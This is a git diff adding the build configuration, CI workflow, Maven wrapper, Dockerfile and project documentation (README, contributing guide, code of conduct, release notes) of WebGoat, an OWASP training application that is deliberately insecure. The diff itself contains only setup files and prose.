diff --git a/.dockerignore b/.dockerignore new file mode 100644 index 000000000..35b2f7ce0 --- /dev/null +++ b/.dockerignore @@ -0,0 +1,3 @@ +** + +!/target diff --git a/.editorconfig b/.editorconfig new file mode 100644 index 000000000..a6d05ec21 --- /dev/null +++ b/.editorconfig @@ -0,0 +1,15 @@ +root = true + +[*] +charset = utf-8 +end_of_line = lf +indent_size = 4 +indent_style = space +insert_final_newline = true +max_line_length = 120 +tab_width = 4 +ij_continuation_indent_size = 8 +ij_formatter_off_tag = @formatter:off +ij_formatter_on_tag = @formatter:on +ij_formatter_tags_enabled = false +ij_java_names_count_to_use_import_on_demand = 999 diff --git a/.github/pixeebot.yaml b/.github/pixeebot.yaml new file mode 100644 index 000000000..73536e573 --- /dev/null +++ b/.github/pixeebot.yaml @@ -0,0 +1,2 @@ +ai: + allow_llm_access: true diff --git a/.github/workflows/codeql.yml b/.github/workflows/codeql.yml new file mode 100644 index 000000000..732378c06 --- /dev/null +++ b/.github/workflows/codeql.yml @@ -0,0 +1,56 @@ +# Run CodeQL +name: "CodeQL" + +on: + push: + branches: [ main ] + +jobs: + analyse: + name: Analyse + permissions: + actions: read + contents: read + security-events: write + runs-on: ubuntu-latest + + steps: + - name: Checkout repository + uses: actions/checkout@v3 + with: + fetch-depth: 2 + + - name: Set up JDK 17 + uses: actions/setup-java@v3 + with: + java-version: 17 + distribution: temurin + + - run: git checkout HEAD^2 + if: ${{ github.event_name == 'pull_request' }} + + - name: Initialize CodeQL + uses: github/codeql-action/init@v2 + with: + languages: java + + - name: Autobuild + uses: github/codeql-action/autobuild@v2 + + - name: Perform CodeQL Analysis + uses: github/codeql-action/analyze@v2 + with: + category: "/language:java" + + - uses: pmd/pmd-github-action@v1 + id: pmd + with: + version: '6.40.0' + sourcePath: 'src/main/java' + rulesets: 'rulesets/java/quickstart.xml' + analyzeModifiedFilesOnly: false + - name: Upload SARIF file + uses: github/codeql-action/upload-sarif@v1 + with: + category: pmd-provided + sarif_file: pmd-report.sarif diff --git a/.gitignore b/.gitignore new file mode 100644 index 000000000..f914d3ab7 --- /dev/null +++ b/.gitignore @@ -0,0 +1,59 @@ +/nb-configuration.xml +/nbactions.xml +/target/ +/.classpath +/.project +/.settings/.jsdtscope +/.settings/org.eclipse.jdt.core.prefs +/.settings/org.eclipse.m2e.core.prefs +/.settings/org.eclipse.wst.common.component +/.settings/org.eclipse.wst.common.project.facet.core.prefs.xml +/.settings/org.eclipse.wst.common.project.facet.core.xml +/.settings/org.eclipse.wst.jsdt.ui.superType.container +/.settings/org.eclipse.wst.jsdt.ui.superType.name +/.settings/org.eclipse.wst.validation.prefs +/.externalToolBuilders/ +.project +*/target/* +*.pmd +mongo-data/* +.classpath +.idea/ +.settings/ +src/main/main.iml +*.BACKUP.*.jsp +*.BASE.*.jsp +*.LOCAL.*.jsp +*.REMOTE.*.jsp +src/main/webapp/plugin_extracted/* +src/main/webapp/users/*.jar +src/main/webapp/plugin_lessons/*.jar +src/main/webapp/users/*.props +classes/* +*.iml +pom.xml.versionsBackup + +/*.iml +.extract/* +UserDatabase.mv.db +webgoat-container/src/main/webapp/users/guest.org.owasp.webgoat.plugin.*.props +webgoat-container/src/main/webapp/plugin_lessons/dist-*.pom +webgoat-lessons/**/target +**/*.jar +**/.DS_Store +webgoat-server/mongo-data/* +webgoat-lessons/vulnerable-components/dependency-reduced-pom.xml +**/.sts4-cache/* +**/.vscode/* +**/.factorypath +/.sonatype +**/bin/* +webgoat.lck +webgoat.log +webgoat.properties +webgoat.script +TestClass.class +**/*.flattened-pom.xml +/.gitconfig + +webgoat.gitconfig \ No newline at end of file diff --git a/.mvn/wrapper/MavenWrapperDownloader.java b/.mvn/wrapper/MavenWrapperDownloader.java new file mode 100644 index 000000000..c32394f14 --- /dev/null +++ b/.mvn/wrapper/MavenWrapperDownloader.java @@ -0,0 +1,117 @@ +/* + * Copyright 2007-present the original author or authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +import java.net.*; +import java.io.*; +import java.nio.channels.*; +import java.util.Properties; + +public class MavenWrapperDownloader { + + private static final String WRAPPER_VERSION = "0.5.5"; + /** + * Default URL to download the maven-wrapper.jar from, if no 'downloadUrl' is provided. + */ + private static final String DEFAULT_DOWNLOAD_URL = "https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/" + + WRAPPER_VERSION + "/maven-wrapper-" + WRAPPER_VERSION + ".jar"; + + /** + * Path to the maven-wrapper.properties file, which might contain a downloadUrl property to + * use instead of the default one. + */ + private static final String MAVEN_WRAPPER_PROPERTIES_PATH = + ".mvn/wrapper/maven-wrapper.properties"; + + /** + * Path where the maven-wrapper.jar will be saved to. + */ + private static final String MAVEN_WRAPPER_JAR_PATH = + ".mvn/wrapper/maven-wrapper.jar"; + + /** + * Name of the property which should be used to override the default download url for the wrapper. + */ + private static final String PROPERTY_NAME_WRAPPER_URL = "wrapperUrl"; + + public static void main(String args[]) { + System.out.println("- Downloader started"); + File baseDirectory = new File(args[0]); + System.out.println("- Using base directory: " + baseDirectory.getAbsolutePath()); + + // If the maven-wrapper.properties exists, read it and check if it contains a custom + // wrapperUrl parameter. + File mavenWrapperPropertyFile = new File(baseDirectory, MAVEN_WRAPPER_PROPERTIES_PATH); + String url = DEFAULT_DOWNLOAD_URL; + if(mavenWrapperPropertyFile.exists()) { + FileInputStream mavenWrapperPropertyFileInputStream = null; + try { + mavenWrapperPropertyFileInputStream = new FileInputStream(mavenWrapperPropertyFile); + Properties mavenWrapperProperties = new Properties(); + mavenWrapperProperties.load(mavenWrapperPropertyFileInputStream); + url = mavenWrapperProperties.getProperty(PROPERTY_NAME_WRAPPER_URL, url); + } catch (IOException e) { + System.out.println("- ERROR loading '" + MAVEN_WRAPPER_PROPERTIES_PATH + "'"); + } finally { + try { + if(mavenWrapperPropertyFileInputStream != null) { + mavenWrapperPropertyFileInputStream.close(); + } + } catch (IOException e) { + // Ignore ... + } + } + } + System.out.println("- Downloading from: " + url); + + File outputFile = new File(baseDirectory.getAbsolutePath(), MAVEN_WRAPPER_JAR_PATH); + if(!outputFile.getParentFile().exists()) { + if(!outputFile.getParentFile().mkdirs()) { + System.out.println( + "- ERROR creating output directory '" + outputFile.getParentFile().getAbsolutePath() + "'"); + } + } + System.out.println("- Downloading to: " + outputFile.getAbsolutePath()); + try { + downloadFileFromURL(url, outputFile); + System.out.println("Done"); + System.exit(0); + } catch (Throwable e) { + System.out.println("- Error downloading"); + e.printStackTrace(); + System.exit(1); + } + } + + private static void downloadFileFromURL(String urlString, File destination) throws Exception { + if (System.getenv("MVNW_USERNAME") != null && System.getenv("MVNW_PASSWORD") != null) { + String username = System.getenv("MVNW_USERNAME"); + char[] password = System.getenv("MVNW_PASSWORD").toCharArray(); + Authenticator.setDefault(new Authenticator() { + @Override + protected PasswordAuthentication getPasswordAuthentication() { + return new PasswordAuthentication(username, password); + } + }); + } + URL website = new URL(urlString); + ReadableByteChannel rbc; + rbc = Channels.newChannel(website.openStream()); + FileOutputStream fos = new FileOutputStream(destination); + fos.getChannel().transferFrom(rbc, 0, Long.MAX_VALUE); + fos.close(); + rbc.close(); + } + +} diff --git a/.mvn/wrapper/maven-wrapper.properties b/.mvn/wrapper/maven-wrapper.properties new file mode 100644 index 000000000..ffdc10e59 --- /dev/null +++ b/.mvn/wrapper/maven-wrapper.properties @@ -0,0 +1,2 @@ +distributionUrl=https://repo.maven.apache.org/maven2/org/apache/maven/apache-maven/3.8.1/apache-maven-3.8.1-bin.zip +wrapperUrl=https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.5.6/maven-wrapper-0.5.6.jar diff --git a/CODE_OF_CONDUCT.md b/CODE_OF_CONDUCT.md new file mode 100644 index 000000000..28718f0a4 --- /dev/null +++ b/CODE_OF_CONDUCT.md @@ -0,0 +1,60 @@ +# Contributor Covenant Code of Conduct + +## Our Pledge + +In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, sex characteristics, gender identity and expression, level of experience, education, socio-economic status, nationality, personal appearance, race, religion, or sexual identity and orientation. + +## Our Standards + +Examples of behavior that contributes to creating a positive environment include: + +- Using welcoming and inclusive language +- Being respectful of differing viewpoints and experiences +- Gracefully accepting constructive criticism +- Focusing on what is best for the community +- Showing empathy towards other community members + +Examples of unacceptable behavior by participants include: + +- The use of sexualized language or imagery and unwelcome sexual attention or advances +- Trolling, insulting/derogatory comments, and personal or political attacks +- Public or private harassment +- Publishing others' private information, such as a physical or electronic address, without explicit permission +- Misusing the context of the WebGoat project for commercial goals (e.g. adding sales pitches to the codebase or to communication channels used by the project, such as Slack). +- Other conduct which could reasonably be considered inappropriate in a professional setting + +## Our Responsibilities + +Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior. + +Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful. + +## Disclaimer + +The WebGoat project and its materials are conceived for educational and research purposes only. + +Refrain from violating the laws in your country by carefully consulting them before executing any tests against web applications or other assets utilizing the WebGoat (or Webwolf) materials. + +The WebGoat project is also NOT supporting unethical activities in any way. If you come across such requests, please reach out to the project leaders and raise this to them. + +Neither OWASP, the WebGoat project leaders, authors or anyone else involved in this project is going to take responsibility for your actions. + +The intention of the WebGoat is not to encourage hacking or malicious activities! Instead, the goal of the project is to learn different hacking techniques and offer ways to reduce or mitigate that risk. + +## Scope + +This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community includes using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers. + +## Enforcement + +Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at nanne.baars@owasp.org. + +All complaints will be reviewed and investigated and will result in a response that is deemed necessary and appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately. + +Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership. + +## Attribution + +This Code of Conduct is adapted from the [Contributor Covenant](https://www.contributor-covenant.org "Contributor Covenant homepage"), [version 1.4](https://www.contributor-covenant.org/version/1/4/code-of-conduct.html "Code of Conduct version 1.4"). + +For answers to common questions about this code of conduct, see [the Contributor Covenant FAQ](https://www.contributor-covenant.org/faq) diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md new file mode 100644 index 000000000..4a97e18ee --- /dev/null +++ b/CONTRIBUTING.md @@ -0,0 +1,105 @@ +# Contributing + +[![GitHub contributors](https://img.shields.io/github/contributors/WebGoat/WebGoat.svg)](https://github.com/WebGoat/WebGoat/graphs/contributors) +![GitHub issues by-label "help wanted"](https://img.shields.io/github/issues/WebGoat/WebGoat/help%20wanted.svg) +![GitHub issues by-label "good first issue"](https://img.shields.io/github/issues/WebGoat/WebGoat/good%20first%20issue.svg) + +This document describes how you can contribute to WebGoat. Please read it carefully. + +**Table of Contents** + +* [How to Contribute to the Project](#how-to-contribute-to-the-project) +* [How to set up your Contributor Environment](#how-to-set-up-your-contributor-environment) +* [How to get your PR Accepted](#how-to-get-your-pr-accepted) + +## How to Contribute to the project + +There are a couple of ways on how you can contribute to the project: + +* **File [issues](https://github.com/WebGoat/WebGoat/issues "Webgoat Issues")** for missing content or errors. Explain what you think is missing and give a suggestion as to where it could be added. +* **Create a [pull request (PR)](https://github.com/WebGoat/WebGoat/pulls "Create a pull request")**. This is a direct contribution to the project and may be merged after review. You should ideally [create an issue](https://github.com/WebGoat/WebGoat/issues "WebGoat Issues") for any PR you would like to submit, as we can first review the merit of the PR and avoid any unnecessary work. This is of course not needed for small modifications such as correcting typos. +* **Help out financially** by donating via [OWASP donations](https://owasp.org/donate/?reponame=www-project-webgoat&title=OWASP+WebGoat). + +## How to get your PR accepted + +Your PR is valuable to us, and to make sure we can integrate it smoothly, we have a few items for you to consider. In short: +The minimum requirements for code contributions are: + +1. The code _must_ be compliant with the configured Java Google Formatter, Checkstyle and PMD rules. +2. All new and changed code _should_ have a corresponding unit and/or integration test. +3. New and changed lessons _must_ have a corresponding integration test. +4. [Status checks](https://docs.github.com/en/github/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks) should pass for your last commit. + +Additionally, the following guidelines can help: + +### Keep your pull requests limited to a single issue + +Pull requests should be as small/atomic as possible. Large, wide-sweeping changes in a pull request will be **rejected**, with comments to isolate the specific code in your pull request. Some examples: + +* If you are making spelling corrections in the docs, don't modify other files. +* If you are adding new functions don't '*cleanup*' unrelated functions. That cleanup belongs in another pull request. + +### Write a good commit message + +* Explain why you make the changes. [More infos about a good commit message.](https://betterprogramming.pub/stop-writing-bad-commit-messages-8df79517177d) + +* If you fix an issue with your commit, please close the issue by [adding one of the keywords and the issue number](https://docs.github.com/en/issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue) to your commit message. + +For example: `Fix #545` or `Closes #10` + +## How to set up your Contributor Environment + +1. Create a GitHub account. Multiple different GitHub subscription plans are available, but you only need a free one. Follow [these steps](https://help.github.com/en/articles/signing-up-for-a-new-github-account "Signing up for a new GitHub account") to set up your account. +2. Fork the repository. Creating a fork means creating a copy of the repository on your own account, which you can modify without any impact on this repository. GitHub has an [article that describes all the needed steps](https://help.github.com/en/articles/fork-a-repo "Fork a repo"). +3. Clone your own repository to your host computer so that you can make modifications. If you followed the GitHub tutorial from step 2, you have already done this. +4. Go to the newly cloned directory "WebGoat" and add the remote upstream repository: + + ```bash + $ git remote -v + origin git@github.com:/WebGoat.git (fetch) + origin git@github.com:/WebGoat.git (push) + + $ git remote add upstream git@github.com:WebGoat/WebGoat.git + + $ git remote -v + origin git@github.com:/WebGoat.git (fetch) + origin git@github.com:/WebGoat.git (push) + upstream git@github.com:OWASP/WebGoat.git (fetch) + upstream git@github.com:OWASP/WebGoat.git (push) + ``` + + See also the GitHub documentation on "[Configuring a remote for a fork](https://docs.github.com/en/free-pro-team@latest/github/collaborating-with-issues-and-pull-requests/configuring-a-remote-for-a-fork "Configuring a remote for a fork")". + +5. Choose what to work on, based on any of the outstanding [issues](https://github.com/WebGoat/WebGoat/issues "WebGoat Issues"). + +6. Create a branch so that you can cleanly work on the chosen issue: `git checkout -b FixingIssue66` + +7. Open your favorite editor and start making modifications. We recommend using the [IntelliJ Idea](https://www.jetbrains.com/idea/). + +8. After your modifications are done, push them to your forked repository. This can be done by executing the command `git add MYFILE` for every file you have modified, followed by `git commit -m 'your commit message here'` to commit the modifications and `git push` to push your modifications to GitHub. + +9. Create a Pull Request (PR) by going to your fork, and click on the "New Pull Request" button. The target branch should typically be the Master branch. When submitting a PR, be sure to follow the checklist that is provided in the PR template. The checklist itself will be filled out by the reviewer. + +10. Your PR will be reviewed and comments may be given. In order to process a comment, simply make modifications to the same branch as before and push them to your repository. GitHub will automatically detect these changes and add them to your existing PR. + +11. When starting on a new PR in the future, make sure to always keep your local repo up to date: + + ```bash + $ git fetch upstream + $ git merge upstream/main + ``` + + See also the following article for further explanation on "[How to Keep a Downstream git Repository Current with Upstream Repository Changes](https://medium.com/sweetmeat/how-to-keep-a-downstream-git-repository-current-with-upstream-repository-changes-10b76fad6d97 "How to Keep a Downstream git Repository Current with Upstream Repository Changes")". + +If at any time you want to work on a different issue, you can simply switch to a different branch, as explained in step 5. + +> Tip: Don't try to work on too many issues at once though, as it will be a lot more difficult to merge branches the longer they are open. + +## What not to do + +Although we greatly appreciate any and all contributions to the project, there are a few things that you should take into consideration: + +* The WebGoat project should not be used as a platform for advertisement for commercial tools, companies or individuals. Write-ups should be written with free and open-source tools in mind and commercial tools are typically not accepted, unless as a reference in the security tools section. +* Unnecessary self-promotion of tools or blog posts is frowned upon. If you have a relation with on of the URLs or tools you are referencing, please state so in the PR so that we can verify that the reference is in line with the rest of the guide. + +Please be sure to take a careful look at our [Code of Conduct](https://github.com/WebGoat/WebGoat/blob/master/CODE_OF_CONDUCT.md) for all the details. diff --git a/COPYRIGHT.txt b/COPYRIGHT.txt new file mode 100644 index 000000000..bed6f51c0 --- /dev/null +++ b/COPYRIGHT.txt @@ -0,0 +1,19 @@ +This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + +Copyright (c) 2002 - $today.year Bruce Mayhew + +This program is free software; you can redistribute it and/or modify it under the terms of the +GNU General Public License as published by the Free Software Foundation; either version 2 of the +License, or (at your option) any later version. + +This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without +even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License along with this program; if +not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA +02111-1307, USA. + +Getting Source ============== + +Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. \ No newline at end of file diff --git a/CREATE_RELEASE.md b/CREATE_RELEASE.md new file mode 100644 index 000000000..7bda7405a --- /dev/null +++ b/CREATE_RELEASE.md @@ -0,0 +1,20 @@ +## Release WebGoat + +### Version numbers + +For WebGoat we use milestone releases first before we release the official version, we use `v2023.01` while tagging +and 2023.01 in the `pom.xml`. + +### Release notes: + +Update the release notes with the correct version. Use `git shortlog -s -n --since "JAN 06 2023"` for the list of +committers. + +``` +mvn versions:set +<< update release notes >> +git commit .... +git tag v2023.01 +git push --tags +``` + diff --git a/Dockerfile b/Dockerfile new file mode 100644 index 000000000..f4af6fed2 --- /dev/null +++ b/Dockerfile @@ -0,0 +1,32 @@ +FROM docker.io/eclipse-temurin:17-jre-focal + +RUN useradd -ms /bin/bash webgoat +RUN chgrp -R 0 /home/webgoat +RUN chmod -R g=u /home/webgoat + +USER webgoat + +COPY --chown=webgoat target/webgoat-*.jar /home/webgoat/webgoat.jar + +EXPOSE 8080 +EXPOSE 9090 + +WORKDIR /home/webgoat +ENTRYPOINT [ "java", \ + "-Duser.home=/home/webgoat", \ + "-Dfile.encoding=UTF-8", \ + "--add-opens", "java.base/java.lang=ALL-UNNAMED", \ + "--add-opens", "java.base/java.util=ALL-UNNAMED", \ + "--add-opens", "java.base/java.lang.reflect=ALL-UNNAMED", \ + "--add-opens", "java.base/java.text=ALL-UNNAMED", \ + "--add-opens", "java.desktop/java.beans=ALL-UNNAMED", \ + "--add-opens", "java.desktop/java.awt.font=ALL-UNNAMED", \ + "--add-opens", "java.base/sun.nio.ch=ALL-UNNAMED", \ + "--add-opens", "java.base/java.io=ALL-UNNAMED", \ + "--add-opens", "java.base/java.util=ALL-UNNAMED", \ + "-Drunning.in.docker=true", \ + "-Dwebgoat.host=0.0.0.0", \ + "-Dwebwolf.host=0.0.0.0", \ + "-Dwebgoat.port=8080", \ + "-Dwebwolf.port=9090", \ + "-jar", "webgoat.jar" ] diff --git a/LICENSE.txt b/LICENSE.txt new file mode 100644 index 000000000..573d2b4eb --- /dev/null +++ b/LICENSE.txt @@ -0,0 +1,19 @@ +This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + +Copyright (c) 2002 - 2019 Bruce Mayhew + +This program is free software; you can redistribute it and/or modify it under the terms of the +GNU General Public License as published by the Free Software Foundation; either version 2 of the +License, or (at your option) any later version. + +This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without +even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License along with this program; if +not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA +02111-1307, USA. + +Getting Source ============== + +Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. \ No newline at end of file diff --git a/PULL_REQUEST_TEMPLATE.md b/PULL_REQUEST_TEMPLATE.md new file mode 100644 index 000000000..f419c6ef6 --- /dev/null +++ b/PULL_REQUEST_TEMPLATE.md @@ -0,0 +1 @@ +Thank you for submitting a pull request to the WebGoat! diff --git a/README.md b/README.md new file mode 100644 index 000000000..84391b8c6 --- /dev/null +++ b/README.md @@ -0,0 +1,136 @@ +# WebGoat 8: A deliberately insecure Web Application + +[![Build](https://github.com/WebGoat/WebGoat/actions/workflows/build.yml/badge.svg?branch=develop)](https://github.com/WebGoat/WebGoat/actions/workflows/build.yml) +[![java-jdk](https://img.shields.io/badge/java%20jdk-17-green.svg)](https://jdk.java.net/) +[![OWASP Labs](https://img.shields.io/badge/OWASP-Lab%20project-f7b73c.svg)](https://owasp.org/projects/) +[![GitHub release](https://img.shields.io/github/release/WebGoat/WebGoat.svg)](https://github.com/WebGoat/WebGoat/releases/latest) +[![Gitter](https://badges.gitter.im/OWASPWebGoat/community.svg)](https://gitter.im/OWASPWebGoat/community?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge) +[![Discussions](https://img.shields.io/github/discussions/WebGoat/WebGoat)](https://github.com/WebGoat/WebGoat/discussions) + +# Introduction + +WebGoat is a deliberately insecure web application maintained by [OWASP](http://www.owasp.org/) designed to teach web +application security lessons. + +This program is a demonstration of common server-side application flaws. The +exercises are intended to be used by people to learn about application security and +penetration testing techniques. + +**WARNING 1:** *While running this program your machine will be extremely +vulnerable to attack. You should disconnect from the Internet while using +this program.* WebGoat's default configuration binds to localhost to minimize +the exposure. + +**WARNING 2:** *This program is for educational purposes only. If you attempt +these techniques without authorization, you are very likely to get caught. If +you are caught engaging in unauthorized hacking, most companies will fire you. +Claiming that you were doing security research will not work as that is the +first thing that all hackers claim.* + +# Installation instructions: + +For more details check [the Contribution guide](/CONTRIBUTING.md) + +## 1. Run using Docker + +Every release is also published on [DockerHub](https://hub.docker.com/r/webgoat/webgoat). + +The easiest way to start WebGoat as a Docker container is to use the all-in-one docker container. This is a docker image that has WebGoat and WebWolf running inside. + +```shell +docker run -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e TZ=Europe/Amsterdam webgoat/webgoat +``` + +If you want to reuse the container, give it a name: + +```shell +docker run --name webgoat -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e TZ=Europe/Amsterdam webgoat/webgoat +``` + +As long as you don't remove the container you can use: + +```shell +docker start webgoat +``` + +This way, you can start where you left off. If you remove the container, you need to use `docker run` again. + +**Important**: *Choose the correct timezone, so that the docker container and your host are in the same timezone. As it is important for the validity of JWT tokens used in certain exercises.* + +## 2. Standalone + +Download the latest WebGoat release from [https://github.com/WebGoat/WebGoat/releases](https://github.com/WebGoat/WebGoat/releases) + +```shell +java -Dfile.encoding=UTF-8 -Dwebgoat.port=8080 -Dwebwolf.port=9090 -jar webgoat-2023.3.jar +``` + +Click the link in the log to start WebGoat. + +## 3. Run from the sources + +### Prerequisites: + +* Java 17 +* Your favorite IDE +* Git, or Git support in your IDE + +Open a command shell/window: + +```Shell +git clone git@github.com:WebGoat/WebGoat.git +``` + +Now let's start by compiling the project. + +```Shell +cd WebGoat +git checkout <> +# On Linux/Mac: +./mvnw clean install + +# On Windows: +./mvnw.cmd clean install + +# Using docker or podman, you can than build the container locally +docker build -f Dockerfile . -t webgoat/webgoat +``` + +Now we are ready to run the project. WebGoat 8.x is using Spring-Boot. + +```Shell +# On Linux/Mac: +./mvnw spring-boot:run +# On Windows: +./mvnw.cmd spring-boot:run + +``` + +... you should be running WebGoat on http://localhost:8080/WebGoat momentarily. + +Note: The above link will redirect you to login page if you are not logged in. LogIn/Create account to proceed. + +To change the IP address add the following variable to the `WebGoat/webgoat-container/src/main/resources/application.properties` file: + +``` +server.address=x.x.x.x +``` + +## 4. Run with custom menu + +For specialist only. There is a way to set up WebGoat with a personalized menu. You can leave out some menu categories or individual lessons by setting certain environment variables. + +For instance running as a jar on a Linux/macOS it will look like this: + +```Shell +export EXCLUDE_CATEGORIES="CLIENT_SIDE,GENERAL,CHALLENGE" +export EXCLUDE_LESSONS="SqlInjectionAdvanced,SqlInjectionMitigations" +java -jar target/webgoat-2023.3-SNAPSHOT.jar +``` + +Or in a docker run it would (once this version is pushed into docker hub) look like this: + +```Shell +docker run -d -p 8080:8080 -p 9090:9090 -e TZ=Europe/Amsterdam -e EXCLUDE_CATEGORIES="CLIENT_SIDE,GENERAL,CHALLENGE" -e EXCLUDE_LESSONS="SqlInjectionAdvanced,SqlInjectionMitigations" webgoat/webgoat +``` + diff --git a/README_I18N.md b/README_I18N.md new file mode 100644 index 000000000..6a4769f1e --- /dev/null +++ b/README_I18N.md @@ -0,0 +1,34 @@ +# Multi language support in WebGoat + +WebGoat is mainly written in English, but it does support multiple languages. + +## Default language selection + +1. Current supported languages are: en, fr, de, nl +2. The primary language is based on the language setting of the browser. +3. If the language is not in the list of supported language, the language is English +4. Once logged in, you can switch between the supported languages using a language dropdown menu on the main page + 1. After switching a language you are back at the Introduction page + +## Adding a new language + +The following steps are required when you want to add a new language + +1. Update [main_new.html](src/main/resources/webgoat/static/main_new.html) + 1. Add the parts for showing the flag and providing the correct value for the flag= parameter +2. +3. Add a flag image to src/main/resources/webgoat/static/css/img + 1. See the main_new.html for a link to download flag resources +4. Add a welcome page to the introduction lesson + 1. Copy Introduction_.adoc to Introduction_es.adoc (if in this case you want to add Spanish) + 2. Add a highlighted section that explains that most parts of WebGoat will still be in English and invite people to translate parts where it would be valuable +5. Translate the main labels + 1. Copy messages.properties to messages_es.properties (if in this case you want to add Spanish) + 2. Translate the label values +6. Optionally translate lessons by + 1. Adding lang specifc adoc files in documentation folder of the lesson + 2. Adding WebGoatLabels.properties of a specific language if you want to +7. Run mvn clean to see if the LabelAndHintIntegration test passes +8. Run WebGoat and verify that your own language and the other languages work as expected + +If you only want to translate more for a certain language, you only need to do step 4-8 diff --git a/RELEASE_NOTES.md b/RELEASE_NOTES.md new file mode 100644 index 000000000..44ad88e44 --- /dev/null +++ b/RELEASE_NOTES.md @@ -0,0 +1,150 @@ +# WebGoat release notes + +## Version 2023.3 + +With great pleasure, we present you with a new release of WebGoat **2023.3**. Finally, it has been a while. This year starts with a new release of WebGoat. This year we will undoubtedly release more often. From this release on, we began to use a new versioning scheme (https://calver.org/#scheme). + +A big thanks to René Zubcevic and Àngel Ollé Blázquez for keeping the project alive this last year, and hopefully, we can make +many more releases this year. + +### New functionality + +- New year's resolution(2022): major refactoring of WebGoat to simplify the setup and improve building times. +- Move away from multi-project setup: + * This has a huge performance benefit when building the application. Build time locally is now `Total time: 42.469 s` (depends on your local machine of course) + * No longer add Maven dependencies in several places + * H2 no longer needs to run as separate process, which solves the issue of WebWolf sharing and needing to configure the correct database connection. +- More explicit paths in html files to reference `adoc` files, less magic. +- Integrate WebWolf in WebGoat, the setup was way too complicated and needed configuration which could lead to mistakes and a not working application. This also simplifies the Docker configuration as there is only 1 Docker image. +- Add WebWolf button in WebGoat +- Move all lessons into `src/main/resources` +- WebGoat selects a port dynamically when starting. It will still start of port 8080 it will try another port to ease the user experience. +- WebGoat logs URL after startup: `Please browse to http://127.0.0.1:8080/WebGoat to get started...` +- Simplify `Dockerfile` as we no longer need a script to start everything +- Maven build now start WebGoat jar with Maven plugin to make sure we run against the latest build. +- Added `Initializable` interface for a lesson, an assignment can implement this interface to set it up for a specific user and to reset the assignment back to its original state when a reset lesson occurs. See `BlindSendFileAssignment` for an example. +- Integration tests now use the same user. This saves a lot of time as before every test used a different user which triggered the Flyway migration to set up the database schema for the user. This migration took a lot of time. +- Updated introduction lesson to WebWolf. +- Added language switch for support for multiple languages. +- Removed logic to start WebGoat on a random port when port `8080` is taken. We would loop until we found a free port. We simplified this to just start on the specified port. +- Add Google formatter for all our code, a PR now checks whether the code adheres to the standard. +- Renaming of all packages and folders. +- [#1039 New OWASP Top 10](https://github.com/WebGoat/WebGoat/issues/1093) +- [#1065 New lesson about logging](https://github.com/WebGoat/WebGoat/issues/1065) + +### Bug fixes + +- [#1193 Vulnerable component lesson - java.desktop does not "opens java.beans" to unnamed module](https://github.com/WebGoat/WebGoat/issues/1193) +- [#1176 Minor: XXE lesson 12 patch not reset by 'lesson reset' while it IS reset by leaving/returning to lesson](https://github.com/WebGoat/WebGoat/issues/1176) +- [#1134 "Exploiting XStream" assignment does not work](https://github.com/WebGoat/WebGoat/issues/1134) +- [#1130 Typo: Using Indrect References](https://github.com/WebGoat/WebGoat/issues/1130) +- [#1101 SQL lesson not correct](https://github.com/WebGoat/WebGoat/issues/1101) +- [#1079 startup.sh issues of WebWolf - cannot connect to the WebGoat DB](https://github.com/WebGoat/WebGoat/issues/1079) +- [#1379 Move XXE to A05:2021-_Security_ Misconfiguration](https://github.com/WebGoat/WebGoat/issues/1379) +- [#1298 SocketUtils is deprecated and will be removed in Spring Security 6](https://github.com/WebGoat/WebGoat/issues/1298) +- [#1248 Rewrite the WebWolf Introduction Lesson with the new changes](https://github.com/WebGoat/WebGoat/issues/1248) +- [#1200 Type cast error in sample code at JWT token section](https://github.com/WebGoat/WebGoat/issues/1200) +- [#1173 --server.port=9000 is not respected on Windows (both cmd as Powershell)](https://github.com/WebGoat/WebGoat/issues/1173) +- [#1103 (A1) path traversel lesson 7 seems broken](https://github.com/WebGoat/WebGoat/issues/1103) +- [#986 - User registration not persistant](https://github.com/WebGoat/WebGoat/issues/986) + +## Version 8.2.2 + +### New functionality + +- Docker image now supports nginx when browsing 